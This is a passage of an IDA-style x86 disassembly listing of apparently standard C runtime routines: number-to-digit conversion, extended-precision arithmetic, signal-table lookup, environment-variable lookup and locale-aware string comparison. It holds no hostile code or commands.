		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9F1
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E993
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9F1
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F1C5
		mov	eax, [ebp+arg_14]


loc_41F212:				; CODE XREF: sub_41EFE4+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41F24F


loc_41F21F:				; CODE XREF: sub_41EFE4+248j
		cmp	eax, ecx
		jb	short loc_41F232
		cmp	byte ptr [eax],	39h
		jnz	short loc_41F22E
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41F21F
; ---------------------------------------------------------------------------


loc_41F22E:				; CODE XREF: sub_41EFE4+242j
		cmp	eax, ecx
		jnb	short loc_41F236


loc_41F232:				; CODE XREF: sub_41EFE4+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41F236:				; CODE XREF: sub_41EFE4+24Cj
		inc	byte ptr [eax]


loc_41F238:				; CODE XREF: sub_41EFE4+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41F247:				; CODE XREF: sub_41EFE4+F0j
		mov	eax, [ebp+var_4]


loc_41F24A:				; CODE XREF: sub_41EFE4+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F24F:				; CODE XREF: sub_41EFE4+239j
					; sub_41EFE4+275j
		cmp	eax, ecx
		jb	short loc_41F25F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41F25B
		dec	eax
		jmp	short loc_41F24F
; ---------------------------------------------------------------------------


loc_41F25B:				; CODE XREF: sub_41EFE4+272j
		cmp	eax, ecx
		jnb	short loc_41F238


loc_41F25F:				; CODE XREF: sub_41EFE4+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41F26E:				; CODE XREF: sub_41EFE4+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41F24A
sub_41EFE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F277	proc near		; CODE XREF: sub_41AB7C+3423p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41F2DE
		dec	eax
		dec	eax
		jz	short loc_41F2CF
		sub	eax, 4
		jz	short loc_41F2CF
		sub	eax, 3
		jz	short loc_41F2CF
		sub	eax, 4
		jz	short loc_41F2C2
		sub	eax, 6
		jz	short loc_41F2B5
		dec	eax
		jz	short loc_41F2A8
		or	eax, 0FFFFFFFFh
		jmp	loc_41F3A0
; ---------------------------------------------------------------------------


loc_41F2A8:				; CODE XREF: sub_41F277+27j
		mov	esi, ds:dword_46974C
		mov	eax, offset dword_46974C
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2B5:				; CODE XREF: sub_41F277+24j
		mov	esi, ds:dword_469748
		mov	eax, offset dword_469748
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2C2:				; CODE XREF: sub_41F277+1Fj
		mov	esi, ds:dword_469750
		mov	eax, offset dword_469750
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2CF:				; CODE XREF: sub_41F277+10j
					; sub_41F277+15j ...
		push	edi
		call	sub_41F3A4
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F277+Cj
		mov	esi, ds:dword_469744
		mov	eax, offset dword_469744


loc_41F2E9:				; CODE XREF: sub_41F277+3Cj
					; sub_41F277+49j ...
		cmp	esi, 1
		jnz	short loc_41F2F5
		xor	eax, eax
		jmp	loc_41F3A0
; ---------------------------------------------------------------------------


loc_41F2F5:				; CODE XREF: sub_41F277+75j
		test	esi, esi
		jnz	short loc_41F300
		push	3
		call	sub_417818


loc_41F300:				; CODE XREF: sub_41F277+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41F312
		cmp	edi, 0Bh
		jz	short loc_41F312
		cmp	edi, 4
		jnz	short loc_41F338


loc_41F312:				; CODE XREF: sub_41F277+8Fj
					; sub_41F277+94j
		mov	ebx, ds:dword_469524
		and	ds:dword_469524, 0
		cmp	edi, ecx
		jnz	short loc_41F367
		mov	edx, ds:dword_4383AC
		mov	ds:dword_4383AC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41F33B
; ---------------------------------------------------------------------------


loc_41F338:				; CODE XREF: sub_41F277+99j
		mov	ebx, [ebp+arg_0]


loc_41F33B:				; CODE XREF: sub_41F277+BFj
		cmp	edi, ecx
		jnz	short loc_41F367
		mov	eax, ds:dword_4383A0
		mov	ecx, ds:dword_4383A4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41F36E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:438330h[edx*4]


loc_41F35C:				; CODE XREF: sub_41F277+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41F35C
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F367:				; CODE XREF: sub_41F277+AAj
					; sub_41F277+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41F37C


loc_41F36E:				; CODE XREF: sub_41F277+D7j
					; sub_41F277+EEj
		push	ds:dword_4383AC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41F38A
; ---------------------------------------------------------------------------


loc_41F37C:				; CODE XREF: sub_41F277+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41F38A
		cmp	edi, 4
		jnz	short loc_41F39D


loc_41F38A:				; CODE XREF: sub_41F277+103j
					; sub_41F277+10Cj
		cmp	edi, 8
		mov	ds:dword_469524, ebx
		jnz	short loc_41F39D
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4383AC, eax


loc_41F39D:				; CODE XREF: sub_41F277+111j
					; sub_41F277+11Cj
		xor	eax, eax
		pop	ebx


loc_41F3A0:				; CODE XREF: sub_41F277+2Cj
					; sub_41F277+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F277	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F3A4	proc near		; CODE XREF: sub_41F277+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_4383A8
		cmp	ds:dword_43832C, edx
		push	esi
		mov	eax, offset dword_438328
		jz	short loc_41F3D2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438328h[esi*4]


loc_41F3C6:				; CODE XREF: sub_41F3A4+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F3D2
		cmp	[eax+4], edx
		jnz	short loc_41F3C6


loc_41F3D2:				; CODE XREF: sub_41F3A4+16j
					; sub_41F3A4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438328h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F3E6
		cmp	[eax+4], edx
		jz	short locret_41F3E8


loc_41F3E6:				; CODE XREF: sub_41F3A4+3Bj
		xor	eax, eax

locret_41F3E8:				; CODE XREF: sub_41F3A4+40j
		retn
sub_41F3A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F3E9	proc near		; CODE XREF: sub_41E142+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_46AAE8, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_46949C
		push	edi
		jz	short loc_41F460
		test	esi, esi
		jnz	short loc_41F41A
		cmp	ds:dword_4694A4, esi
		jz	short loc_41F460
		call	sub_41F7B7
		test	eax, eax
		jnz	short loc_41F460
		mov	esi, ds:dword_46949C
		test	esi, esi
		jz	short loc_41F460


loc_41F41A:				; CODE XREF: sub_41F3E9+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F460
		push	ebx
		call	sub_415CD0
		pop	ecx
		mov	edi, eax


loc_41F42B:				; CODE XREF: sub_41F3E9+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F460
		push	eax
		call	sub_415CD0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F453
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F453
		push	edi
		push	ebx
		push	eax
		call	sub_41F778
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F458


loc_41F453:				; CODE XREF: sub_41F3E9+51j
					; sub_41F3E9+59j
		add	esi, 4
		jmp	short loc_41F42B
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F3E9+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F462
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F3E9+10j
					; sub_41F3E9+1Cj ...
		xor	eax, eax


loc_41F462:				; CODE XREF: sub_41F3E9+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F3E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F466	proc near		; CODE XREF: sub_41E82C+8Bp
					; sub_41E82C+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_46A8A0
		jnb	short loc_41F4CD
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A7A0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41F4CD
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41F4A6
		and	cl, 7Fh
		jmp	short loc_41F4B3
; ---------------------------------------------------------------------------


loc_41F4A6:				; CODE XREF: sub_41F466+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41F4C1
		or	cl, 80h


loc_41F4B3:				; CODE XREF: sub_41F466+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F4C1:				; CODE XREF: sub_41F466+48j
		mov	ds:dword_469474, 16h
		jmp	short loc_41F4D7
; ---------------------------------------------------------------------------


loc_41F4CD:				; CODE XREF: sub_41F466+Bj
					; sub_41F466+27j
		mov	ds:dword_469474, 9


loc_41F4D7:				; CODE XREF: sub_41F466+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F466	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4DC	proc near		; CODE XREF: sub_41EFE4+165p
					; sub_41F6FC+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41F6DC
		cmp	cx, 7FFFh
		jnb	loc_41F6DC
		cmp	dx, 0BFFDh
		ja	loc_41F6DC
		cmp	dx, 3FBFh
		ja	short loc_41F545
		xor	eax, eax
		jmp	short loc_41F57F
; ---------------------------------------------------------------------------


loc_41F545:				; CODE XREF: sub_41F4DC+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41F567
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41F567
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41F569
		cmp	[esi], eax
		jnz	short loc_41F569
		jmp	loc_41F6D6
; ---------------------------------------------------------------------------


loc_41F567:				; CODE XREF: sub_41F4DC+71j
					; sub_41F4DC+79j
		xor	eax, eax


loc_41F569:				; CODE XREF: sub_41F4DC+80j
					; sub_41F4DC+84j
		cmp	cx, ax
		jnz	short loc_41F58C
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41F58C
		cmp	[ebx+4], eax
		jnz	short loc_41F58C
		cmp	[ebx], eax
		jnz	short loc_41F58C


loc_41F57F:				; CODE XREF: sub_41F4DC+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41F6F7
; ---------------------------------------------------------------------------


loc_41F58C:				; CODE XREF: sub_41F4DC+90j
					; sub_41F4DC+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41F59C:				; CODE XREF: sub_41F4DC+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41F5F0
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41F5B8:				; CODE XREF: sub_41F4DC+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F5E3
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41F5E3:				; CODE XREF: sub_41F4DC+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41F5B8


loc_41F5F0:				; CODE XREF: sub_41F4DC+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41F59C
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41F633


loc_41F60E:				; CODE XREF: sub_41F4DC+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41F62C
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E9F1
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F60E


loc_41F62C:				; CODE XREF: sub_41F4DC+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F66C


loc_41F633:				; CODE XREF: sub_41F4DC+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41F66C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41F64C:				; CODE XREF: sub_41F4DC+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41F655
		inc	[ebp+var_14]


loc_41F655:				; CODE XREF: sub_41F4DC+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA1F
		dec	ebx
		pop	ecx
		jnz	short loc_41F64C
		cmp	[ebp+var_14], 0
		jz	short loc_41F66C
		or	byte ptr [ebp+var_24], 1


loc_41F66C:				; CODE XREF: sub_41F4DC+155j
					; sub_41F4DC+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41F683
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41F6B8


loc_41F683:				; CODE XREF: sub_41F4DC+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41F6B5
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41F6B0
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41F6AA
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41F6B8
; ---------------------------------------------------------------------------


loc_41F6AA:				; CODE XREF: sub_41F4DC+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41F6B8
; ---------------------------------------------------------------------------


loc_41F6B0:				; CODE XREF: sub_41F4DC+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41F6B8
; ---------------------------------------------------------------------------


loc_41F6B5:				; CODE XREF: sub_41F4DC+1ABj
		inc	[ebp+var_24+2]


loc_41F6B8:				; CODE XREF: sub_41F4DC+1A5j
					; sub_41F4DC+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41F6DC
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41F6D6:				; CODE XREF: sub_41F4DC+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41F6F7
; ---------------------------------------------------------------------------


loc_41F6DC:				; CODE XREF: sub_41F4DC+42j
					; sub_41F4DC+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41F6F7:				; CODE XREF: sub_41F4DC+ABj
					; sub_41F4DC+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6FC	proc near		; CODE XREF: sub_41EB13+440p
					; sub_41EFE4+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438820
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F775
		jge	short loc_41F724
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_438980
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41F724:				; CODE XREF: sub_41F6FC+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41F72F
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41F72F:				; CODE XREF: sub_41F6FC+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F775
		push	esi
		push	edi


loc_41F736:				; CODE XREF: sub_41F6FC+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41F76E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41F761
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41F761:				; CODE XREF: sub_41F6FC+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41F4DC
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41F76E:				; CODE XREF: sub_41F6FC+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41F736
		pop	edi
		pop	esi


loc_41F775:				; CODE XREF: sub_41F6FC+14j
					; sub_41F6FC+36j
		pop	ebx
		leave
		retn
sub_41F6FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F778	proc near		; CODE XREF: sub_41F3E9+5Ep
					; sub_41FC29+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F785
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F785:				; CODE XREF: sub_41F778+7j
		push	ds:dword_46A8A4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_46AAC4
		call	sub_41F825
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F7B2
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F778+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41F778	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7B7	proc near		; CODE XREF: sub_41F3E9+1Ep
					; seg000:0041FAFDp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4694A4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41F818
		mov	ebx, ds:dword_421138


loc_41F7D0:				; CODE XREF: sub_41F7B7+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41F820
		push	ebp
		call	sub_415DA9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41F820
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41F820
		push	edi
		push	[esp+18h+var_4]
		call	loc_41FAA2
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41F7D0


loc_41F818:				; CODE XREF: sub_41F7B7+11j
		xor	eax, eax


loc_41F81A:				; CODE XREF: sub_41F7B7+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41F820:				; CODE XREF: sub_41F7B7+29j
					; sub_41F7B7+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F81A
sub_41F7B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F825	proc near		; CODE XREF: sub_41F778+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C20
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_469758, ebx
		push	1
		pop	edi
		jnz	short loc_41F898
		push	edi
		mov	eax, offset dword_421870
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_421008	; CompareStringW
		test	eax, eax
		jz	short loc_41F875
		mov	ds:dword_469758, edi
		jmp	short loc_41F898
; ---------------------------------------------------------------------------


loc_41F875:				; CODE XREF: sub_41F825+46j
		push	edi
		mov	eax, offset dword_438FB4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42100C	; CompareStringA
		test	eax, eax
		jz	loc_41FA8E
		mov	ds:dword_469758, 2


loc_41F898:				; CODE XREF: sub_41F825+31j
					; sub_41F825+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41F8AF
		push	esi
		push	[ebp+arg_8]
		call	sub_41BF75
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41F8AF:				; CODE XREF: sub_41F825+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F8C4
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41BF75
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41F8C4:				; CODE XREF: sub_41F825+8Dj
		mov	eax, ds:dword_469758
		cmp	eax, 2
		jnz	short loc_41F8E9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42100C	; CompareStringA
		jmp	loc_41FA90
; ---------------------------------------------------------------------------


loc_41F8E9:				; CODE XREF: sub_41F825+A7j
		cmp	eax, edi
		jnz	loc_41FA8E
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41F8FE
		mov	eax, ds:dword_469518
		mov	[ebp+arg_18], eax


loc_41F8FE:				; CODE XREF: sub_41F825+CFj
		cmp	esi, ebx
		jz	short loc_41F90B
		cmp	[ebp+arg_14], ebx
		jnz	loc_41F9A3


loc_41F90B:				; CODE XREF: sub_41F825+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41F918


loc_41F910:				; CODE XREF: sub_41F825+13Cj
					; sub_41F825+16Dj
		push	2


loc_41F912:				; CODE XREF: sub_41F825+146j
		pop	eax
		jmp	loc_41FA90
; ---------------------------------------------------------------------------


loc_41F918:				; CODE XREF: sub_41F825+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41F924


loc_41F91D:				; CODE XREF: sub_41F825+151j
					; sub_41F825+159j ...
		mov	eax, edi
		jmp	loc_41FA90
; ---------------------------------------------------------------------------


loc_41F924:				; CODE XREF: sub_41F825+F6j
		cmp	esi, edi
		jg	short loc_41F969
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 3D0000h
		mov	ecx, 840FC085h
		push	ecx
		add	[eax], eax
		add	[ebx], bh
		rep jle	short loc_41F96D
		cmp	[ebp+var_3C], 2
		jb	short loc_41F969
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F969


loc_41F94F:				; CODE XREF: sub_41F825+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F969
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F963
		cmp	cl, dl
		jbe	short loc_41F910


loc_41F963:				; CODE XREF: sub_41F825+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F94F


loc_41F969:				; CODE XREF: sub_41F825+101j
					; sub_41F825+120j ...
		push	3
		jmp	short loc_41F912
; ---------------------------------------------------------------------------


loc_41F96D:				; CODE XREF: sub_41F825+119j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F9A3
		cmp	[ebp+var_3C], 2
		jb	short loc_41F91D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F91D


loc_41F980:				; CODE XREF: sub_41F825+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F91D
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F998
		cmp	cl, dl
		jbe	loc_41F910


loc_41F998:				; CODE XREF: sub_41F825+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F980
		jmp	loc_41F91D
; ---------------------------------------------------------------------------


loc_41F9A3:				; CODE XREF: sub_41F825+E0j
					; sub_41F825+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_421064	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41FA8E
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41F9F2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41F9F2:				; CODE XREF: sub_41F825+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41FA8E
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_421064
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41FA8E
		push	ebx
		push	ebx
		push	[ebp+arg_14]
